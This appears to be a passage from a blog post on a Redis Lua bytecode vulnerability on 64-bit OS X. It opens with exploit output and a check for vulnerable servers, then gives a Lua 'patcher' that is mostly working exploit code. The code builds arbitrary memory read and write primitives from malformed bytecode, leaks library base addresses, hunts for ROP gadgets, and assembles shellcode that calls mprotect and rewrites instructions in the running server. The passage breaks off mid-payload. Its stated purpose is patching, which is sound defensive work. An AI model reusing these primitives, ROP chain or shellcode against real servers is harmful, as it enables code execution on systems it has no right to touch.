[*] parsed_symbol _setenv => 2:1232
[*] parsed_symbol _setitimer => 2:1240
[*] parsed_symbol _setjmp => 2:1248
[*] parsed_symbol _setlocale => 2:1256
[*] parsed_symbol _setprogname => 2:1264
[*] parsed_symbol _setrlimit => 2:1272
[*] parsed_symbol _setsid => 2:1280
[*] parsed_symbol _setsockopt => 2:1288
[*] parsed_symbol _sigaction => 2:1296
[*] parsed_symbol _signal => 2:1304
[*] parsed_symbol _sin => 2:1312
[*] parsed_symbol _sinh => 2:1320
[*] parsed_symbol _sleep => 2:1328
[*] parsed_symbol _socket => 2:1336
[*] parsed_symbol _srand => 2:1344
[*] parsed_symbol _sscanf => 2:1352
[*] parsed_symbol _strcasecmp => 2:1360
[*] parsed_symbol _strchr => 2:1368
[*] parsed_symbol _strcmp => 2:1376
[*] parsed_symbol _strcoll => 2:1384
[*] parsed_symbol _strcspn => 2:1392
[*] parsed_symbol _strdup => 2:1400
[*] parsed_symbol _strerror => 2:1408
[*] parsed_symbol _strerror_r => 2:1416
[*] parsed_symbol _strftime => 2:1424
[*] parsed_symbol _strlen => 2:1432
[*] parsed_symbol _strncasecmp => 2:1440
[*] parsed_symbol _strncmp => 2:1448
[*] parsed_symbol _strncpy => 2:1456
[*] parsed_symbol _strpbrk => 2:1464
[*] parsed_symbol _strstr => 2:1472
[*] parsed_symbol _strtod => 2:1480
[*] parsed_symbol _strtol => 2:1488
[*] parsed_symbol _strtold => 2:1496
[*] parsed_symbol _strtoll => 2:1504
[*] parsed_symbol _strtoul => 2:1512
[*] parsed_symbol _strtoull => 2:1520
[*] parsed_symbol _syslog => 2:1528
[*] parsed_symbol _tan => 2:1536
[*] parsed_symbol _tanh => 2:1544
[*] parsed_symbol _task_for_pid => 2:1552
[*] parsed_symbol _task_info => 2:1560
[*] parsed_symbol _time => 2:1568
[*] parsed_symbol _uname => 2:1576
[*] parsed_symbol _ungetc => 2:1584
[*] parsed_symbol _unlink => 2:1592
[*] parsed_symbol _vfprintf => 2:1600
[*] parsed_symbol _wait3 => 2:1608
[*] parsed_symbol _write => 2:1616
[*] Found _strlen symbol: 1432
[*] Found _strlen location: 00007fff97463140
[*] found libsystem_c macho base address: 00007fff97462000
[*] Found _setrlimit symbol: 1272
[*] Found _setrlimit location: 00007fff945edc4a
[*] found libkernel macho base address: 00007fff945da000
[+] Found longjump jump location 000000010ca1a05a
[*] found segment: __TEXT => 00007fff8ca8c000/0000000000000000
[*] found segment: __DATA => 00007fff71e58000/0000000011996000
[*] found segment: __LINKEDIT => 00007fff8fed3000/00000000124cf000
[+] found mprotect symbol 00007fff945efee8
[*] found segment: __TEXT => 00007fff8f914000/0000000000000000
[*] found segment: __DATA => 00007fff7258e000/00000000120cc000
[*] found segment: __LINKEDIT => 00007fff8fed3000/00000000124cf000
[*] found cmp   r15, 0x1b
[*] found cmp @ 000000010ca05fb5
[*] Found rop: poprbxpopr14poprbp @ 00007fff97463449
[*] Found rop: poprdipoprbp @ 00007fff974635ee
[*] Found rop: poprsipoprbp @ 00007fff9746344b
[*] Found rop: movrdxr14callrbx @ 00007fff974c62f4
[*] leaked stack pointer: 00007fff5323d018
[*] old jump_buf eip 000000010ca052c0
[*] existing sp 00007fff5323d010
[*] new sp 00007fc98a80a218
[*] resumed normal redis execution

You can test if the patcher worked by running the following from redis-cli:

1
eval "return tostring(loadstring(string.dump(function() end)))" 0

If you are vulnerable it will return:

1
"function: 0x7fdcd8439df0"

If the patch has been applied it will return:

1
"nil"

Here is the lua code for the patcher:

Patch Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
local fail = function(msg)

  print("[-] " .. msg)
  error(msg)
end

local addbyte = function(b8, byte)
  local carry = byte
  local result = ''
  for i=1, string.len(b8) do
    local cb = string.byte(b8, i) + carry
    if cb >= 256 then
      carry = 1
    else
      carry = 0
    end
    result = result .. string.char(cb % 256)
  end

  return result
end

local double2string = function(x)
  if x == nil then
    return x
  end
  return struct.pack('<d', x)
end


local asdouble = loadstring((string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub('\96%z%z\128', '\22\0\0\128')))

local asstring = function(x) return double2string(asdouble(x)) end

local cstring = function(v)
  return addbyte(asstring(v), 24)
end




local string2double = function(x)
  local r,n = struct.unpack('<d', x)
  return r
end

local subb8 = function(b8l, b8r)
  local borrow = 0
  local result = ''

  for i=1, 8 do
    local cb = string.byte(b8l, i) - borrow - string.byte(b8r, i)
    if cb < 0 then
      borrow = 1
      cb = cb + 256
    else
      borrow = 0
    end
    result = result .. string.char(cb)
  end

  return result
end

local tob8 = function(n)
  local result = ""
  for i =1, 8 do
    local next_byte = n % 256
    result = result .. string.char(next_byte)
    n = math.floor(n / 256)
  end
  return result
end

local toint = function(b8)
  local result = 0
  for i =8,1,-1 do
    result = result * 256
    result = result + string.byte(b8, i)
  end
  return result
end


local addb8 = function(b8l, b8r)
  local carry = 0
  local result = ''
  for i=1, 8 do
    local cb = string.byte(b8l, i) + carry + string.byte(b8r, i)
    if cb >= 256 then
      carry = 1
    else
      carry = 0
    end
    result = result .. string.char(cb % 256)
  end

  return result
end


local addint = function(b8, int)
  return addb8(b8, tob8(int))
end

local subint = function(b8, int)
  return subb8(b8, tob8(int))
end




local dump8 = function(b8)
  if b8 == nil then
    return "<nil>"
  else
    return string.format('%02x%02x%02x%02x%02x%02x%02x%02x', string.byte(b8, 8),string.byte(b8, 7),string.byte(b8, 6),string.byte(b8, 5),string.byte(b8, 4),string.byte(b8, 3),string.byte(b8, 2),string.byte(b8, 1))
  end
end

local dump4 = function(b4)
  return string.format('%02x%02x%02x%02x', string.byte(b4, 4),string.byte(b4, 3),string.byte(b4, 2),string.byte(b4, 1))
end





local word_read = nil

local return_read_word = function(b8)
  word_read = b8
end



local read_word = function(address)

  local f = loadstring(string.dump(function()
    local magic = nil
    local function middle()
      local upval
      local cstring = cstring_global
      local asstring = asstring_global
      local b8 = word_to_read_global
      local ret = return_global
      local function inner()
        upval = 'nextnext'..'t'..'m'..'papapa'..b8
        local upval_ptr = cstring(upval)
        magic = upval_ptr .. upval_ptr .. upval_ptr
      end
      inner()
      ret(asstring(magic))
    end
    middle()
  end):gsub('(\100%z%z%z)....', '%1\0\0\0\1', 1))

  local result = nil
  local return_function = function(v)
    result = v
  end

  local env = {cstring_global = cstring, asstring_global = asstring, word_to_read_global = address, return_read_word_global = return_read_word, return_global = return_function}

  setfenv(f, env)
  f()

  return result
end

--[[ write word also corrupts the next 4 bytes after address :( const TValue *o2=(obj2); TValue *o1=(obj1); \
    o1->value = o2->value; o1->tt=o2->tt; ]]
local write_word = function(address, value)
  local f = loadstring(string.dump(function()
    local magic = nil
    local function middle()
      local upval
      local cstring = cstring_global
      local string2double = string2double_global
      local b8 = address_global
      local value = value_to_write_global
      local function inner()
        upval = 'nextnext'..'t'..'m'..'papapa'..b8
        local upval_ptr = cstring(upval)
        magic = upval_ptr .. upval_ptr .. upval_ptr
      end
      inner()
      magic = string2double(value)
    end
    middle()
  end):gsub('(\100%z%z%z)....', '%1\0\0\0\1', 1))

  local env = {cstring_global = cstring, string2double_global = string2double, address_global = address, value_to_write_global = value}
  setfenv(f, env)
  f()
end

local new_lazy_stream = function(offset, size)
  return {buffer = nil, buffer_offset = nil, start_offset = offset, current_offset = 0, size = size}
end

local lazy_stream_seek = function(stream, offset)
  stream.current_offset = offset
end

local lazy_stream_skip = function(stream, offset)
  stream.current_offset = stream.current_offset + offset
end

local lazy_stream_read = function(stream)
  if stream.buffer == nil or stream.current_offset < stream.buffer_offset or stream.current_offset >= stream.buffer_offset + 8 then
    --[[ dodgy floats ie repeated bytes of 0xFF will trigger multiple reads because the first word will fail then the next and so forth :( )]]
    stream.buffer = read_word(addint(stream.start_offset, stream.current_offset))
    stream.buffer_offset = stream.current_offset
  end

  local byte = nil
  if stream.buffer ~= nil then
    byte = string.byte(stream.buffer, stream.current_offset - stream.buffer_offset + 1)
  end

  stream.current_offset = stream.current_offset + 1
  return byte
end


local lazy_stream_empty = function(stream)
  return stream.current_offset >= stream.size
end

local read_uleb8 = function(stream)
  local value = 0
  local shift = 1
  while true do
    local next_byte = lazy_stream_read(stream)
    local masked = next_byte % 0x80


    value = value + (masked * shift)

    local high_bit = next_byte - masked

    if high_bit == 0 then
      return value
    end
    shift = shift * math.pow(2, 7)
  end
end


local read_string = function(stream)
  local value = {}
  while true do
    local next_byte = lazy_stream_read(stream)
    if next_byte == 0 then
      return table.concat(value, "")
    end
    table.insert(value, string.char(next_byte))
  end

end


local ALTERNATION = 256
local FINAL = 257
local ANY = 258

local function alternation(list)
  if #list == 0 then
    fail("assertion failed")
  end

  if #list == 1 then
    return list[1]
  else

    local current = {first_branch = list[1], second_branch = list[2], byte = ALTERNATION}
    for i=3, #list do
      current = {first_branch = current, second_branch = list[i], byte = ALTERNATION}
    end

    return current
  end
end

local function dotstar()
  local any = {byte = ANY}

  local alternation = {first_branch = nil, second_branch = any, byte = ALTERNATION}
  any.first_branch = alternation
  return alternation
end

local function join(left, right)
  left.first_branch = right
  return left
end

local function literal(literal)
  local current = {byte = FINAL, matched = literal}
  for i=#literal,1,-1 do
    current = {byte = string.byte(literal, i), first_branch = current}
  end

  return current
end

local function addstate(list, state, list_id)
  if state.lastlist ~= list_id then
    table.insert(list, state)
    state.lastlist = list_id
    if state.byte == ALTERNATION then
      addstate(list, state.first_branch, list_id)
      addstate(list, state.second_branch, list_id)
    end
  end
end


local function re_restart(match_state, re)
  local current_list = {}
  local list_id = match_state.list_id + 1
  addstate(current_list, re, list_id)
  return {list_id = list_id, current_list = current_list}
end


local function re_start(re)

  return re_restart({list_id = 0}, re)
end



local function re_push_byte(match_state, byte)
  local list_id = match_state.list_id + 1
  local next_list = {}
  local list_id = list_id + 1

  for i=1,#match_state.current_list do
    local state = match_state.current_list[i]
    if (state.byte == byte or state.byte == ANY) then
      addstate(next_list, state.first_branch, list_id)
    end
  end
  return {list_id = list_id, current_list = next_list}
end




local pagealign = function(b8)
  local byte2 = string.byte(b8, 2)
  local aligned = math.floor(byte2 / 16) * 16
  return string.char(0, aligned) .. string.sub(b8, 3)
end

local findmacho = function(b8)

  local b8 = pagealign(b8)

  local target = string.char(0xCF, 0xFA, 0xED, 0xFE)

  local page_size = string.char(0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)

  while true do
    local word = read_word(b8)

    if word ~= nil then
      local top_half = string.sub(word, 1, 4)
      if top_half == target then
        return b8
      end
    end
    b8 = subb8(b8, page_size)
  end

end

local readi4 = function(b8)
  local word = read_word(b8)
  local top_half = string.sub(word, 1, 4)
  return struct.unpack("<I4", top_half)
end


local c_length = function(s)
  for i = 1, string.len(s) do
    if string.byte(s, i) == 0 then
      return i - 1
    end
  end

  return string.len(s)
end

local terminate_c_string = function(s)
  local length = c_length(s)
  return string.sub(s, 1, length)
end


local parse_segment = function (b8, offset, segment_info)
  local segment_name = terminate_c_string(read_word(addint(b8, offset + 8)) .. read_word(addint(b8, offset + 16)))
  local vm_addr = read_word(addint(b8, offset + 24))
  local vm_size = read_word(addint(b8, offset + 32))
  local file_offset = read_word(addint(b8, offset + 40))

  print("[*] found segment: " .. segment_name .. " => " .. (dump8(vm_addr)) .. "/" .. dump8(file_offset))


  segment_info[segment_name] = {vm_addr = vm_addr, file_offset = file_offset, vm_size = vm_size}
end


local parse_macho_segments = function(macho_offset, dyld_callback)
  local commands = readi4(addbyte(macho_offset, 16))

  local offset = 32

  local segment_info = {}

  for i=1,commands do
    local command = readi4(addint(macho_offset, offset))
    local size = readi4(addint(macho_offset, offset + 4))

    if command == 25 then
      parse_segment(macho_offset, offset, segment_info)
    elseif command == 2147483682 then
      dyld_callback(offset, segment_info)
    end

    offset = offset + size
  end

  return segment_info
end

local parse_libsystem_c_macho = function(macho_offset)

  local callback = function(offset, segment_info)
  end

  local segment_info = parse_macho_segments(macho_offset, callback)

  return segment_info
end

local segment_location = function(macho, segment_info, segment_name)

  local text_segment = segment_info["__TEXT"]
  local target_segment = segment_info[segment_name]
  local segment_location = addb8(subb8(target_segment.vm_addr, text_segment.vm_addr), macho)

  return segment_location
end


local opcode_offset = function(macho, segment_info, lazy_binding_info_offset)

  local link_edit_segment = segment_info["__LINKEDIT"]
  local text_segment = segment_info["__TEXT"]


  local offset_into_link_edit = subb8(tob8(lazy_binding_info_offset), link_edit_segment.file_offset)


  local link_edit_location = segment_location(macho, segment_info, "__LINKEDIT")

  return addb8(offset_into_link_edit, link_edit_location)

end

local matches_part = function(name, label, matched_so_far)

  if string.len(label) > string.len(name) - matched_so_far then
    return false
  end

  for i = 1, #label do
    if string.byte(label, i) ~= string.byte(name, i + matched_so_far) then
      return false
    end
  end

  return true
end



local find_exported_symbol = function(stream, name)

  local matched_name = 0

  local name_len = string.len(name)

  while not lazy_stream_empty(stream) do

    local terminal_size = read_uleb8(stream)


    if (terminal_size > 0 and name_len == matched_name) then
      local flags = lazy_stream_read(stream)
      local symbol_offset = read_uleb8(stream)
      return symbol_offset
    end

    lazy_stream_skip(stream, terminal_size)

    local children = lazy_stream_read(stream)


    local matched = false
    for i = 1, children do
      local label = read_string(stream)
      local node_offset = read_uleb8(stream)

      if matches_part(name, label, matched_name) then
        matched_name = matched_name + string.len(label)
        lazy_stream_seek(stream, node_offset)
        matched = true
        break
      end
    end

    if not matched then
      return nil
    end
  end

end

local process_export_bindings = function(macho_offset, offset, size)


  local mprotect = find_exported_symbol(new_lazy_stream(offset, size), "_mprotect")

  if mprotect == nil then
    fail("Failed to find mprotect")
  else
    local mprotect_addr = addint(macho_offset, mprotect)

    print("[+] found mprotect symbol " .. dump8(mprotect_addr))
    return mprotect_addr
  end

end

local parse_exports_dyld_info = function(macho_offset, offset, segment_info)
  local export_binding_info_offset = readi4(addint(macho_offset, offset + 40))
  local export_binding_info_size = readi4(addint(macho_offset, offset + 44))

  local offset = opcode_offset(macho_offset, segment_info,export_binding_info_offset)

  return process_export_bindings(macho_offset, offset, export_binding_info_size)
end

local parse_libkernel_macho = function(macho_offset)

  local mprotect_addr = nil
  local callback = function(offset, segment_info)
    mprotect_addr = parse_exports_dyld_info(macho_offset, offset, segment_info)
  end

  parse_macho_segments(macho_offset, callback)

  return mprotect_addr

end

local process_lazy_bindings = function(offset, size)

  local stream = new_lazy_stream(offset, size)

  local current_symbol = {}
  local symbols = {}
  while not lazy_stream_empty(stream) do
    local op = lazy_stream_read(stream)


    local immediate = op % 16
    local opcode = op - immediate

    if opcode == 0x70 then
      --[[BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB]]
      current_symbol.segment = immediate
      current_symbol.offset = read_uleb8(stream)

    elseif opcode == 0x40 then
      --[[BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM]]
      current_symbol.name = read_string(stream)
    elseif opcode == 0x10 then
      --[[BIND_OPCODE_SET_DYLIB_ORDINAL_IMM]]
      --[[ignore]]
    elseif opcode == 0x90 then
      --[[BIND_OPCODE_DO_BIND]]
      print("[*] parsed_symbol " .. current_symbol.name .. " => " .. current_symbol.segment .. ":" .. current_symbol.offset)
      table.insert(symbols, current_symbol)
      local old_symbol = current_symbol
      current_symbol = {}
      current_symbol.segment = old_symbol.segment
      current_symbol.offset = old_symbol.offset
      current_symbol.name = old_symbol.name
    elseif opcode == 0x00 then
      --[[BIND_OPCODE_DONE]]
      --[[ignore]]
    else
      fail("found unknown opcode in lazy bindings " .. opcode)
    end

  end


  return symbols



end

local parse_dyld_info = function(macho_offset, offset, segment_info)
  local lazy_binding_info_offset = readi4(addint(macho_offset, offset + 32))
  local lazy_binding_size =   readi4(addint(macho_offset, offset + 36))


  local offset = opcode_offset(macho_offset, segment_info,lazy_binding_info_offset)

  return process_lazy_bindings(offset, lazy_binding_size)
end

local find_symbol = function(symbols, symbol)

  for i=1, #symbols do
    if symbols[i].name == symbol then
      return symbols[i]
    end
  end

  return nil
end


local leak_macho = function(name, data_location, symbols, symbol)

  local resolved_symbol = find_symbol(symbols, symbol)
  if resolved_symbol == nil then
    fail("Failed to find " .. symbol .. " symbol")
  end
  print("[*] Found " .. symbol .. " symbol: " .. resolved_symbol.offset)

  --[[we assume the pointer is into the data segment. #TODO FIX THIS]]
  local location = addint(data_location, resolved_symbol.offset)

  local address = read_word(location)

  print("[*] Found " .. symbol .. " location: " .. dump8(address))

  local macho_address = findmacho(address)

  print('[*] found ' .. name .. ' macho base address: ' .. dump8(macho_address))

  return macho_address
end


local parse_redis_macho = function(macho_offset)

  local longjmp_location = nil
  local libsystem_c = nil
  local libkernel = nil

  local callback = function(offset, segment_info)
      local symbols = parse_dyld_info(macho_offset, offset, segment_info)

      local data_location = segment_location(macho_offset, segment_info, "__DATA")


      libsystem_c = leak_macho("libsystem_c", data_location, symbols, "_strlen")
      libkernel = leak_macho("libkernel", data_location, symbols, "_getrlimit")

      local longjmp = find_symbol(symbols, "_longjmp")

      if longjmp == nil then
        longjmp = find_symbol(symbols, "__longjmp")
      end

      if longjmp == nil then
        fail("Failed to find _longjmp symbol")
      else
        longjmp_location = read_word(addint(data_location, longjmp.offset))

        print("[+] Found longjump jump location " .. dump8(longjmp_location))
      end



  end

  local segments = parse_macho_segments(macho_offset, callback)

  return {redis = macho_offset, longjmp_address = longjmp_location, libsystem_c = libsystem_c, libkernel = libkernel, redis_segments = segments}
end


local matches = function(expected, word)

  for i=1, #expected do
    if string.byte(expected, i) ~= string.byte(word, i) then
      return false
    end
  end

  return true
end


local find_insn = function(name, expected, libc, offsets)

  if #expected >= 8 then
    error("failed assertion")
  end

  for i=1, #offsets do
    local addr = addint(libc, offsets[i])
    --[[apparently we can do unaligned reads :) :)]]
    local word = read_word(addr)


    if (word ~= nil) and matches(expected, word) then

      return addr
    end
  end

  return nil


end

local function find_rops(rops, stream)

  local literals = {}
  for i,rop in ipairs(rops) do
    literals[i] = literal(rop)
  end

  local re = join(dotstar(), alternation(literals))
  local state = re_start(re)
  local found_rops = {}
  local remaining = #rops

  while not lazy_stream_empty(stream) and remaining > 0 do
    local next_byte = lazy_stream_read(stream)

    if next_byte == nil then
      state = re_restart(state, re)
    else
      state = re_push_byte(state, next_byte)
    end

    for i=1,#(state.current_list) do
      local s = state.current_list[i]
      if s.byte == FINAL then
        if found_rops[s.matched] == nil then
          remaining = remaining - 1
          found_rops[s.matched] = stream.current_offset - string.len(s.matched)
        end
      end
    end
  end

  return found_rops
end

-- offset search for named rops only works if rop_size <= 8 bytes because it only reads
-- a single word. slightly dodgy
local function find_rops_and_assert(named_rops, stream, libc)
  local missing_rops = {}

  local inverted = {}

  for rop, detail in pairs(named_rops) do
    local addr = find_insn(detail.name, rop, libc, detail.offsets)
    if addr == nil then
      print("[-] Missing rop at fixed location will search: " .. detail.name)
      table.insert(missing_rops, rop)
    else
      print("[*] Found rop: " .. detail.name .. " @ " .. dump8(addr))
      inverted[detail.name] = addr
    end
  end

  if #missing_rops > 0 then
    local found_rops = find_rops(missing_rops, stream)

    for i=1,#missing_rops do
      local rop = missing_rops[i]
      if found_rops[rop] == nil then
        fail("Failed to find rop: " .. named_rops[rop].name)
      else
        local addr = addint(stream.start_offset, found_rops[rop])
        local name = named_rops[rop].name
        print("[*] Found rop: " .. name .. " @ " .. dump8(addr))
        inverted[name] = addr
      end
    end
  end

  return inverted

end

local copy_words = function(from, n)
  local buf = {}
  for i=1,n do
    buf[i] = read_word(from)
    from = addbyte(from, 8)
  end

  buf = table.concat(buf,"")

  return buf
end


local check_system = function()
-- os:Darwin 14.3.0 x86_64
-- arch_bits:64

  local info = redis.call("INFO")

  local os = string.match(info, "os:([^\r\n]*)")

  if string.find(os, "Darwin") then
    print("[*] Matches OSX => " .. os)
  else
    fail("Not OSX => " .. os)
  end

  local arch_bits = string.match(info, "arch_bits:([^\r\n]*)")

  if arch_bits == "64" then
    print("[*] 64 Bit")
  else
    fail("Not 64 Bit => " .. arch_bits)
  end
end

local check_bytecode = function()

  local f = loadstring(string.dump(function() end))

  if f == nil then
    fail("Loading byte code not supported")
  else
    print("[*] Loading byte code supported")
  end
end


local find_fparser_cmp = function(program_information)
  local redis_text_segment = program_information.redis_segments["__TEXT"]
  local stream = new_lazy_stream(program_information.redis, toint(redis_text_segment.vm_size))

  local re = join(dotstar(), literal(string.char(0x41, 0x83, 0xff, 0x1b)))
  local state = re_start(re)
  local found = {}

  local visited = {}

  while not lazy_stream_empty(stream) do
    local next_byte = lazy_stream_read(stream)


    if next_byte == nil then
      state = re_restart(state, re)
    else
      state = re_push_byte(state, next_byte)
    end

    for i=1,#(state.current_list) do
      local s = state.current_list[i]
      if s.byte == FINAL then

        table.insert(found, stream.current_offset - string.len(s.matched))
      end
    end
  end


  if #found == 1 then
    print("[*] found cmp   r15, 0x1b")
  else
    fail("could not find unique cmp r15,0x1b " .. #found)
  end

  local cmp_addr = addint(stream.start_offset, found[1])

  print("[*] found cmp @ " .. dump8(cmp_addr))

  return cmp_addr
end


check_system()

check_bytecode()

local co = coroutine.wrap(function() end)


local addr = read_word(addbyte(asstring(co), 32))

local macho_address = findmacho(addr)

print('[*] found macho base address: ' .. dump8(macho_address))



local program_information = parse_redis_macho(macho_address)


local mprotect_addr  = parse_libkernel_macho(program_information.libkernel)
local libc_segments = parse_libsystem_c_macho(program_information.libsystem_c)

local longjmp_addr = program_information.longjmp_address

local named_rops = {}
named_rops[string.char(0x5E,0x5D,0xC3)] = {name = "poprsipoprbp", offsets = {0x1b83, 0x144b}}
named_rops[string.char(0x5F,0x5D,0xC3)] = {name = "poprdipoprbp", offsets = {0x1d08, 0x15ee}}
named_rops[string.char(0x5B, 0x41, 0x5E, 0x5D, 0xC3)] = {name = "poprbxpopr14poprbp", offsets = {0x1b81,0x1449}}
named_rops[string.char(0x4C, 0x89, 0xF2, 0xFF, 0xD3)] = {name = "movrdxr14callrbx", offsets = {0x642f4,0x604f0}}

local target_instruction = find_fparser_cmp(program_information)

local libc_text_segment = libc_segments["__TEXT"]

-- we assume vm_addr == 0

local libc_text_stream = new_lazy_stream(program_information.libsystem_c, toint(libc_text_segment.vm_size))

local rop_addresses = find_rops_and_assert(named_rops, libc_text_stream, program_information.libsystem_c)

local poprbp = addint(rop_addresses.poprsipoprbp, 1)


local dummy = '\1\1\1\1\1\1\1\1'
local null = '\0\0\0\0\0\0\0\0'



local shellcode = nil

local payload_str = nil

local old_jump_buf = nil

collectgarbage()

co = coroutine.create(function ()
  local stack_pointer = read_word(addbyte(asstring(co), 8 * 21))
  print("[*] leaked stack pointer: " .. dump8(stack_pointer))

  local jmp_buf_eip = addint(stack_pointer, 64)
  local jmp_buf_sp = addint(stack_pointer, 24)

  local existing_eip = read_word(jmp_buf_eip)

  print("[*] old jump_buf eip " .. dump8(existing_eip))

  local existing_sp = read_word(jmp_buf_sp)

  print("[*] existing sp " .. dump8(existing_sp))



  old_jump_buf = copy_words(stack_pointer, 48)


  local old_jump_buf_addr = addint(cstring(old_jump_buf), 8)

  shellcode =
    -- 48 bf VALUE    movabs    rdi,VALUE
    string.char(0x48,0xbf) .. pagealign(target_instruction) ..
    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000
    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..
    -- 48 c7 c2 07 00 00 00    mov    rdx,0x7
    string.char(0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) ..

    -- 48 b8 VALUE movabs rax, VALUE
    string.char(0x48, 0xb8) .. mprotect_addr ..

    -- ff d0                   call   rax

    string.char(0xff, 0xd0) ..

    -- 48 bf VALUE    movabs    rdi,VALUE
    string.char(0x48,0xbf) .. target_instruction ..

    -- c7 07 VALUE       mov    DWORD PTR [rdi],VALUE

    string.char(0xc7, 0x07) .. string.char(0x48, 0x83, 0xfc, 0x1b) ..

    -- restore permissions

    -- 48 bf VALUE    movabs    rdi,VALUE
    string.char(0x48,0xbf) .. pagealign(target_instruction) ..
    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000
    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..
    -- 48 c7 c2 05 00 00 00    mov    rdx,0x5
    string.char(0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00) ..

    -- ret
    string.char(0xc3)

  local shellcode_ptr = cstring(shellcode)

  print("[*] shellcode_ptr " .. dump8(shellcode_ptr))

  local rdi = pagealign(shellcode_ptr)
  local rsi = tob8(8192)
  local rdx_all = tob8(7) -- PROT_READ | PROT_WRITE | PROT_EXEC
  local rdx_read_write = tob8(3) -- PROT_READ | PROT_WRITE

  local payload = {
          --[[ padding for our fake stack. `system` calls into the dynamic linker because of stubbed crap. so stack can get quite big. 1024 bytes => stack overflow and corruption of lua/redis heap ]]
